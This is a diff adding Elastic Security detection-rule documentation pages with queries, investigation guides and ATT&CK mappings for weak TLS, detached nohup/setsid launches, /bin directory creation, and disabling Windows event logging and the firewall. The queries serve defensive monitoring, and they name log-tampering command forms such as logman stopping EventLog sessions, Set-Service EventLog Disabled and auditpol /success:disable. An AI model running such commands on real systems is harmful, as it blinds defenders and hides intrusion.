+ +[source, js] +---------------------------------- +data_stream.dataset:network_traffic.tls + and network.protocol: tls + and network.transport: tcp + and tls.established: true + and source.ip:(10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16) + and not destination.ip:( + 10.0.0.0/8 or + 100.64.0.0/10 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.2.0/24 or + 192.168.0.0/16 or + 192.175.48.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.88.99.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 224.0.0.0/4 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) + and ( + tls.version:(1.0 or 1.1) or + (tls.version_protocol:ssl and tls.version:3.0) or + ( + not tls.version:1.3 and ( + tls.cipher:( + *RC4* or + *3DES* or + *NULL* or + *EXPORT* or + *_anon_* or + *ADH* or + *AECDH* + ) + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Encrypted Channel +** ID: T1573 +** Reference URL: https://attack.mitre.org/techniques/T1573/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-detection-alert-on-a-process-exhibiting-cpu-spike.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-detection-alert-on-a-process-exhibiting-cpu-spike.asciidoc new file mode 100644 index 0000000000..e9faf04394 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-detection-alert-on-a-process-exhibiting-cpu-spike.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-detection-alert-on-a-process-exhibiting-cpu-spike]] +=== Detection Alert on a Process Exhibiting CPU Spike + +This rule correlates security alerts with processes exhibiting unusually high CPU utilization on the same host and process ID within a short time window. This behavior may indicate malicious activity such as malware execution, cryptomining, exploit payload execution, or abuse of system resources following initial compromise. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Domain: Endpoint +* Tactic: Impact +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Cryptomining +* Rule Type: ES|QL + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Detection Alert on a Process Exhibiting CPU Spike* + + +This rule identifies processes that both triggered a security alert and exhibited unusually high CPU utilization on the +same host and process ID within a short time window. This combination may indicate malicious execution, resource abuse, or +post-compromise activity. + + +*Possible investigation steps* + +- Review the correlated alert(s) to understand why the process was flagged by Elastic Defend. +- Examine the process name, command line, and SHA-256 hash to determine whether the process is expected or known to be malicious. +- Validate the observed CPU usage and duration to determine whether the spike is abnormal for this process and host. +- Check for related process activity such as parent/child processes, suspicious process spawning, or privilege escalation attempts. +- Review additional host telemetry including: + - Network connections initiated by the process + - File creation or modification events + - Persistence mechanisms (services, scheduled tasks, registry keys) +- Determine whether similar activity is observed on other hosts, which may indicate a broader compromise. + + +*False positive analysis* + +- Legitimate high-CPU processes such as software updates, backup agents, security scans, or system maintenance tasks. +- Resource-intensive but benign applications (e.g., compilers, video encoding, data processing jobs). +- Security tools or monitoring agents temporarily consuming high CPU. + + +*Response and remediation* + +- If malicious activity is confirmed, isolate the affected host to prevent further impact. +- Terminate the offending process if safe to do so. +- Remove any identified malicious binaries or artifacts and eliminate persistence mechanisms. +- Apply relevant patches or configuration changes to remediate the root cause. +- Monitor the environment for recurrence of similar high-CPU processes combined with security alerts. +- Escalate the incident if multiple hosts or indicators suggest coordinated or widespread activity. + +==== Setup + + + +*Setup* + + +This rule requires host CPU metrics collected via the Elastic Agent **System** integration. + + +*System Metrics Integration Setup* + +The System integration collects host-level metrics such as CPU usage, load, memory, and process statistics and sends them to Elasticsearch using Elastic Agent. + + +*Prerequisite Requirements:* + +- Elastic Agent managed by Fleet +- A Fleet Server configured and reachable + Refer to the Fleet Server setup guide: + https://www.elastic.co/guide/en/fleet/current/fleet-server.html + + +*The following steps should be executed in order to enable CPU metrics collection:* + +- Go to the Kibana home page and click **Add integrations**. +- In the search bar, enter **System** and select the **System** integration. +- Click **Add System**. +- Configure an integration name and optionally add a description. +- Under **Metrics**, ensure the following datasets are enabled: + - `system.cpu` + - `system.load` (optional but recommended) + - `system.process` (optional, if process-level CPU is required) +- Review optional and advanced settings as needed. +- Add the integration to an existing agent policy or create a new agent policy. +- Deploy the Elastic Agent to the hosts from which CPU metrics should be collected. +- Click **Save and Continue** to finalize the setup. + + +*Validation* + +After deployment, verify CPU metrics ingestion by confirming the presence of documents in: +- `metrics-system.cpu-*` +- `metrics-system.load-*` (if enabled) + +For more details on the System integration and available metrics, refer to the documentation: +https://docs.elastic.co/integrations/system + + +==== Rule query + + +[source, js] +---------------------------------- +FROM metrics-*, .alerts-security.* METADATA _index +| where not KQL("""kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """) +| eval + // processes with more than 70% total CPU use + cpu_metrics_pids = CASE(_index like ".ds-metrics-system.process-*" and system.process.cpu.total.norm.pct >= 0.7, process.pid, null), + // any security alert with process.name and ID populated excluding low severity ones + alerts_pids = CASE(_index like ".internal.alerts-security.*" and kibana.alert.rule.name is not null and process.name is not null and process.pid is not null and host.id is not null and kibana.alert.risk_score > 21, process.pid, null) +| stats pid_with_cpu_spike = COUNT_DISTINCT(cpu_metrics_pids), pid_with_alerts = COUNT_DISTINCT(alerts_pids), + Esql.max_cpu_pct = MAX(system.process.cpu.total.norm.pct), + Esql.alerts = VALUES(kibana.alert.rule.name), + Esql.process_hash_sha256 = VALUES(process.hash.sha256), + process_path = VALUES(process.executable), + parent_process_path = VALUES(process.parent.executable), + user_name = VALUES(user.name), + host_name = VALUES(host.name), + cmdline = VALUES(process.command_line) by process.pid, process.name, host.id +| where pid_with_cpu_spike > 0 and pid_with_alerts > 0 +// populate fields to use in rule exceptions +| eval process.hash.sha256 = MV_FIRST(Esql.process_hash_sha256), + process.executable = MV_FIRST(process_path), + process.parent.executable = MV_FIRST(parent_process_path), + process.command_line = MV_FIRST(cmdline), + user.name = MV_FIRST(user_name), + host.name = MV_FIRST(host_name) +| KEEP user.name, host.id, host.name, process.*, Esql.* +| where `process.executable` != "C:\\Program Files\\ESET\\ESET Security\\ekrn.exe" and + `process.executable` != "C:\\Windows\\System32\\CompatTelRunner.exe" and + `process.executable` != "C:\\Program Files\\UiPath\\Studio\\UiPath.ActivityCompiler.CommandLine.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-direct-process-execution-via-background-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-direct-process-execution-via-background-utility.asciidoc new file mode 100644 index 0000000000..6029e25919 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-direct-process-execution-via-background-utility.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-34-direct-process-execution-via-background-utility]] +=== Direct Process Execution via Background Utility + +This is a New Terms rule that identifies the first occurrence of setsid or nohup being used to directly execute a process on a host. Attackers may leverage these tools to execute commands in a new session and/or to ignore signals. + +*Rule type*: new_terms + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/disrupting-gridtide-global-espionage-campaign?hl=en + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: New Terms +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Direct Process Execution via Background Utility* + + +This rule flags the first time a Linux host uses setsid, nohup, or disown to launch another process directly, which often means someone is detaching execution from the current terminal or login session. Attackers commonly use nohup to start a backdoor, reverse shell, or cryptominer after SSH access so the process keeps running after they disconnect and ignores normal hangup signals. + + +*Possible investigation steps* + + +- Review the child process launched by the utility, including its full command line, executable path, working directory, and any redirected output files, to quickly separate routine administration from suspicious payload execution. +- Trace the full ancestry and session context around the launch, such as an interactive shell, SSH login, sudo elevation, script runner, or service account, to determine whether the execution came from an expected workflow or an unusual entry point. +- Assess the user and host history for similar behavior by checking recent logins, shell history, and prior detached launches on the same asset or by the same account, since a first-seen event from a normally quiet user often increases concern. +- Inspect immediate follow-on activity from the spawned process, especially outbound network connections, file downloads, child process creation, or persistence changes, because detached execution is commonly used to keep malicious tooling running after logout. +- Confirm with the system owner whether the command aligns with approved long-running tasks such as maintenance, backups, or software updates, and if not, preserve the binary and related artifacts for deeper analysis and potential containment. + + +*False positive analysis* + + +- A Linux administrator may legitimately use nohup or setsid to launch an approved maintenance, backup, or data-processing script from an interactive shell so it continues after logout; verify the child command, executable path, initiating user, and execution time match expected operational activity on that host. +- An engineer troubleshooting or restarting a local application may detach the process with setsid during a remote session to avoid terminal interruption; verify the parent shell and account are authorized and that the spawned binary or script and working directory align with the host's normal application files. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network, terminate the detached child process started with `nohup`, `setsid`, or `disown` and any descendants, and preserve the executable, shell script, redirected output files, and shell history for evidence. +- Remove attacker persistence by deleting malicious cron jobs, systemd service or timer units, `rc.local` or shell profile modifications, unauthorized `authorized_keys` entries, and any dropped binaries or scripts referenced by the detached command. +- Reset compromised access by disabling or rotating credentials for the initiating account and any accounts used afterward, revoking active SSH sessions and tokens, and reviewing `sudoers`, newly added local users, and group memberships for unauthorized changes. +- Rebuild the host from a known-good image or restore from a trusted backup if the detached process ran a backdoor, reverse shell, downloader, or altered system binaries, and verify only approved packages, services, and startup items remain before returning it to production. +- Escalate to incident response immediately if the detached process contacted an external command-and-control address, executed from a writable temporary or home directory as root, spread to other hosts, or evidence shows credential theft or persistence beyond the original system. +- Harden the environment by restricting interactive use of backgrounding utilities where not required, tightening SSH and `sudo` access, enforcing application allowlisting and least privilege, and adding detections for detached launches from temporary directories, user home directories, and unexpected service accounts. + + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and +event.action:("exec" or "exec_event" or "executed" or "process_started" or "start") and +process.name:("setsid" or "nohup" or "disown") and process.args_count:2 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Break Process Trees +** ID: T1036.009 +** Reference URL: https://attack.mitre.org/techniques/T1036/009/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-directory-creation-in-bin-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-directory-creation-in-bin-directory.asciidoc new file mode 100644 index 0000000000..4deb73af9f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-directory-creation-in-bin-directory.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-directory-creation-in-bin-directory]] +=== Directory Creation in /bin directory + +This rule identifies the creation of directories in the /bin directory. The /bin directory contains essential binary files that are required for the system to function properly. The creation of directories in this location could be an attempt to hide malicious files or executables, as these /bin directories usually just contain binaries. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Directory Creation in /bin directory* + + +The /bin directory is crucial for Linux systems, housing essential binaries for system operations. Adversaries may exploit this by creating directories here to conceal malicious files, leveraging the directory's trusted status. The detection rule identifies suspicious directory creation by monitoring 'mkdir' executions in critical binary paths, excluding legitimate system operations, thus flagging potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of 'mkdir' in the specified critical binary paths such as /bin, /usr/bin, /usr/local/bin, /sbin, /usr/sbin, and /usr/local/sbin. +- Check the parent process of the 'mkdir' command to determine if it was initiated by a legitimate system process or a potentially malicious one. +- Investigate the user account associated with the 'mkdir' process to assess if it has the necessary permissions and if the activity aligns with the user's typical behavior. +- Examine the system logs around the time of the directory creation for any other suspicious activities or anomalies that might indicate a broader attack. +- Verify if any files or executables have been placed in the newly created directory and assess their legitimacy and potential threat level. +- Cross-reference the event with threat intelligence sources to identify if the activity matches any known malicious patterns or indicators of compromise. + + +*False positive analysis* + + +- System updates or package installations may trigger directory creation in the /bin directory as part of legitimate operations. Users can mitigate this by creating exceptions for known package management processes like apt, yum, or rpm. +- Custom scripts or administrative tasks that require creating directories in the /bin directory for temporary storage or testing purposes can also lead to false positives. Users should document and exclude these specific scripts or tasks from the detection rule. +- Automated deployment tools or configuration management systems such as Ansible, Puppet, or Chef might create directories in the /bin directory as part of their setup routines. Users should identify these tools and add them to the exclusion list to prevent unnecessary alerts. +- Development or testing environments where developers have permissions to create directories in the /bin directory for application testing can result in false positives. Users should differentiate between production and non-production environments and apply the rule accordingly. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement or data exfiltration by the adversary. +- Terminate any suspicious processes related to the directory creation in the /bin directory to halt any ongoing malicious activity. +- Conduct a thorough review of the newly created directories and files within the /bin directory to identify and remove any malicious binaries or scripts. +- Restore any altered or deleted legitimate binaries from a known good backup to ensure system integrity and functionality. +- Implement file integrity monitoring on critical system directories, including /bin, to detect unauthorized changes in real-time. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are compromised. +- Review and update access controls and permissions for the /bin directory to restrict unauthorized directory creation and enhance security posture. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "start", "ProcessRollup2", "exec_event") and process.name == "mkdir" and +process.args like ("/bin/*", "/usr/bin/*", "/usr/local/bin/*", "/sbin/*", "/usr/sbin/*", "/usr/local/sbin/*") and +not process.args in ("/bin/mkdir", "/usr/bin/mkdir", "/usr/local/bin/mkdir", "/usr/local/bin/cursor", "/usr/bin/coreutils") and +not process.parent.executable in ("/usr/bin/make", "/bin/make") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-disable-windows-event-and-security-logs-using-built-in-tools.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-disable-windows-event-and-security-logs-using-built-in-tools.asciidoc new file mode 100644 index 0000000000..2576e74c15 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-disable-windows-event-and-security-logs-using-built-in-tools.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-34-disable-windows-event-and-security-logs-using-built-in-tools]] +=== Disable Windows Event and Security Logs Using Built-in Tools + +Identifies attempts to disable EventLog via the logman Windows utility, PowerShell, or auditpol. This is often done by attackers in an attempt to evade detection on a system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/logman +* https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 321 + +*Rule authors*: + +* Elastic +* Ivan Ninichuck +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Disable Windows Event and Security Logs Using Built-in Tools* + + +Windows event logs are a fundamental data source for security monitoring, forensics, and incident response. Adversaries can tamper, clear, and delete this data to break SIEM detections, cover their tracks, and slow down incident response. + +This rule looks for the usage of different utilities to disable the EventLog service or specific event logs. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + - Verify if any other anti-forensics behaviors were observed. +- Investigate the event logs prior to the action for suspicious behaviors that an attacker may be trying to cover up. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Re-enable affected logging components, services, and security monitoring. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +( + ( + (process.name:"logman.exe" or ?process.pe.original_file_name == "Logman.exe") and + process.args : "EventLog-*" and process.args : ("stop", "delete") + ) or + ( + ( + process.name : ("pwsh.exe", "powershell.exe", "powershell_ise.exe") or + ?process.pe.original_file_name in ("PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE") + ) and + process.args : "Set-Service" and process.args: "EventLog" and process.args : "Disabled" + ) or + ( + (process.name:"auditpol.exe" or ?process.pe.original_file_name == "AUDITPOL.EXE") and process.args : "/success:disable" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Windows Event Logs +** ID: T1070.001 +** Reference URL: https://attack.mitre.org/techniques/T1070/001/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable Windows Event Logging +** ID: T1562.002 +** Reference URL: https://attack.mitre.org/techniques/T1562/002/ +* Sub-technique: +** Name: Indicator Blocking +** ID: T1562.006 +** Reference URL: https://attack.mitre.org/techniques/T1562/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-disable-windows-firewall-rules-via-netsh.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-disable-windows-firewall-rules-via-netsh.asciidoc new file mode 100644 index 0000000000..80db504813 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-disable-windows-firewall-rules-via-netsh.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-34-disable-windows-firewall-rules-via-netsh]] +=== Disable Windows Firewall Rules via Netsh + +Identifies use of the netsh.exe to disable or weaken the local firewall. Attackers will use this command line tool to disable the firewall during troubleshooting or to enable network mobility. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Disable Windows Firewall Rules via Netsh* + + +The Windows Defender Firewall is a native component which provides host-based, two-way network traffic filtering for a device, and blocks unauthorized network traffic flowing into or out of the local device. + +Attackers can disable the Windows firewall or its rules to enable lateral movement and command and control activity. + +This rule identifies patterns related to disabling the Windows firewall or its rules using the `netsh.exe` utility. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the user to check if they are aware of the operation. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Check whether the user is an administrator and is legitimately performing troubleshooting. +- In case of an allowed benign true positive (B-TP), assess adding rules to allow needed traffic and re-enable the firewall. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- 